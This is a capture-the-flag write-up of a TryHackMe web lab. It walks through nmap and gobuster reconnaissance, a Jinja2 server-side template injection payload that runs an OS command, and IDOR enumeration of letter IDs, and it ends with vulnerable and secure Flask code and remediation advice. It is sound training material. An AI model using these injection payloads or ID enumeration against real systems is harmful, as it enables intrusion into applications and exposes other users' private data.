# Love Letter Locker (TryHackMe) - IDOR

[Lover Letter Locker](https://tryhackme.com/room/lafb2026e2) is a Valentine's-themed web application that allows users to create and store love letters. The challenge description hints at privacy concerns with "For your eyes only?" - suggesting potential authorization issues. This write-up demonstrates how an Insecure Direct Object Reference (IDOR) vulnerability allowed unauthorized access to other users' letters, including one containing the flag.

**Learning Objectives:**

*   Identifying and exploiting IDOR vulnerabilities
    
*   Understanding the difference between authentication and authorization
    
*   Proper enumeration techniques using Burp Suite
    
*   Testing for Server-Side Template Injection (SSTI)
    

> My Dearest Hacker,
> 
> Welcome to LoverLetterLocker, where you can safely write and store your Valentine's letters. For your eyes only?
> 
> You can access the web app here: `http://MACHINE_IP:5000`

```shell
nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-14 17:52 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00018s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
5000/tcp open  upnp?
```

**Key Findings:**

*   SSH on port 22 (standard)
    
*   Web application on port 5000 running **Flask/Werkzeug** (Python web framework)
    
*   Flask applications commonly use the **Jinja2** templating engine
    

### Directory Enumeration

```shell
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/letters              (Status: 302) [Size: 231] [--> /login?next=%2Fletters]
/login                (Status: 200) [Size: 1017]
/logout               (Status: 302) [Size: 229] [--> /login?next=%2Flogout]
/register             (Status: 200) [Size: 1048]
```

More Gobuster findings - paths:

*   `letters/new`
    

After looking through the site, I opted to use Burp Suite to interact with it more and consider testing if there's an SSTI vulnerability on some sections using `{{ 7*7 }}`, hoping it would return `49`.

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bd337992-a632-4a7b-8b34-868f72ee08b6.png align="center")

After interacting with the site, I switched back to Burp Suite HTTP history to send the requests on the repeater with the hope of getting the flag.

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/463ca34e-5dbe-4ea6-86e7-1368d0daaee6.png align="center")

*   The `GET` request that `/letters/3` shows a hint of IDOR
    

```shell
POST /letters/new HTTP/1.1
Host: <IP_Address>:5000
Content-Length: 46
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://<IP_Address>:5000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://<IP_Address>7:5000/letters/new
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwlzj0KwzAMQOG7eO5gWZYs5TLB1g_tmjRT6d0b6Pzg8X3Knkecz7K9jyseZX952QovBjbShkGzdgF3yEwXB8CUTOPp0hkSgdfsdemINpFDsYYOQjUPWtwo2zBXm3eoTZU7yTSrLhS5VkUY2Edv5vdNMmT20aTckOuM46_B8v0B0NcvJQ.aZDLeQ.UvYm6wGj-FhBLigbGQi-DlGOIAs
Connection: keep-alive

title=%7B%7B+7*7+%7D%7D&body=%7B%7B+7*7+%7D%7D
```

Some observations we had: session cookie returned  
  
At first, I tried an SSTI RCE (Remote Code Execution) payload for Jinja2/Flask

```shell
POST /letters/new HTTP/1.1
Host: <IP_Address>:5000
Content-Type: application/x-www-form-urlencoded
Cookie: session
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
```

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7fda5ed4-4a7b-4de3-846a-61ef65a4842b.jpg align="center")

  
used to the GET request that had letter IDs -> I kept switching the letter IDs until I got the flag

```shell
GET /letter/1 HTTP/1.1
```

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/0f478569-37a4-4636-8026-c0311f29e80f.png align="center")

### Conclusion

The LoverLetterLocker challenge demonstrated a classic **Insecure Direct Object Reference (IDOR)** vulnerability - one of the most common yet critical web application security flaws. The key takeaway is understanding that **authentication and authorization are distinct security controls**, and both must be properly implemented.

## Vulnerability Analysis

### OWASP Classification

**CWE-639: Insecure Direct Object Reference (IDOR)**

**OWASP Top 10 2021: A01:2021 – Broken Access Control**

### Vulnerable Code Pattern

The application likely implemented insufficient authorization checks:

python

```python
# VULNERABLE CODE
@app.route('/letters/<int:letter_id>')
@login_required  # ✓ Checks authentication
def view_letter(letter_id):
    letter = Letter.query.get(letter_id)
    return render_template('view.html', letter=letter)
    # ❌ Missing: Authorization check
```

### Secure Implementation

Proper access control requires verifying ownership:

python

```python
# SECURE CODE
@app.route('/letters/<int:letter_id>')
@login_required
def view_letter(letter_id):
    letter = Letter.query.get(letter_id)

    # Authorization check
    if letter.user_id != current_user.id:
        abort(403)  # Forbidden

    return render_template('view.html', letter=letter)
```

## Remediation Recommendations

1.  **Implement Authorization Checks**
    
    *   Verify object ownership before granting access
        
    *   Use indirect references (UUIDs instead of sequential IDs)
        
2.  **Use Access Control Lists (ACLs)**
    

python

```python
   def user_can_access_letter(user, letter):
       return letter.user_id == user.id or user.is_admin
```

1.  **Implement UUID-based References**
    

python

```python
   # Instead of: /letters/1
   # Use: /letters/a3d5c7e9-f2b4-4a1e-9c8d-7e6f5a4b3c2d
```

4.  **Logging and Monitoring**
    
    *   Log access attempts with user IDs
        
    *   Monitor for sequential ID enumeration patterns
        

### Key Lessons Learned

### 1\. Authentication ≠ Authorization

**Authentication** answers: "Who are you?" **Authorization** answers: "What can you access?"

This challenge had proper authentication but **broken authorization**.

### 2\. IDOR Testing Should Be Priority #1

When encountering sequential IDs in any endpoint:

```plaintext
✓ /letters/3 → Immediately test /letters/1, /letters/2
✓ /users/123 → Test /users/1, /users/122, /users/124
✓ /api/orders/5 → Test /api/orders/1, /api/orders/4
```

IDOR testing takes **30 seconds** but is often missed due to tunnel vision on complex exploits.

### 3\. Systematic Enumeration Wins

**Burp Suite Workflow:**

1.  Intercept requests during normal application use
    
2.  Identify parameters that reference objects (IDs, filenames, etc.)
    
3.  Send to Repeater
    
4.  Systematically test variations
    
5.  Document findings
    

### 4\. The "Take a Break" Debug Method

Sometimes stepping away allows:

*   Fresh perspective on the problem
    
*   Browser cache/session issues to resolve
    
*   Subconscious problem-solving to occur
    
*   Recognition of overlooked obvious vulnerabilities
    

**Challenge Summary:**

*   **Vulnerability:** IDOR allowing unauthorized access to other users' letters
    
*   **Exploitation Method:** Sequential ID enumeration via Burp Suite
    
*   **Flag Location:** Letter ID #1 (likely admin's letter)
    
*   **Time Investment:** Initial SSTI rabbit hole (~20 mins) + IDOR discovery (~2 mins)
    

**Practical Security Lessons:**

1.  **Test simple vulnerabilities first** - IDOR testing should be immediate when seeing sequential IDs
    
2.  **Don't overthink** - Complex exploits (SSTI, RCE) aren't always necessary
    
3.  **Systematic enumeration beats random clicking** - Use Burp Repeater for reliable testing
    
4.  **Authorization checks are mandatory** - Every object access must verify ownership
    

**Technical Skills Developed:**

*   Web application reconnaissance (nmap, gobuster)
    
*   Authentication mechanism analysis (Flask sessions)
    
*   Authorization vulnerability identification (IDOR)
    
*   Burp Suite proficiency (HTTP history, Repeater)
    
*   Template injection testing methodology (SSTI)
    

**Final Thought:**  
In penetration testing and CTF challenges, the simplest explanation is often correct. While investigating advanced attacks like SSTI is valuable for learning, don't overlook fundamental access control issues. IDOR vulnerabilities remain prevalent in real-world applications precisely because they're so basic they get missed - making them high-impact, low-effort targets for both ethical hackers and malicious actors.
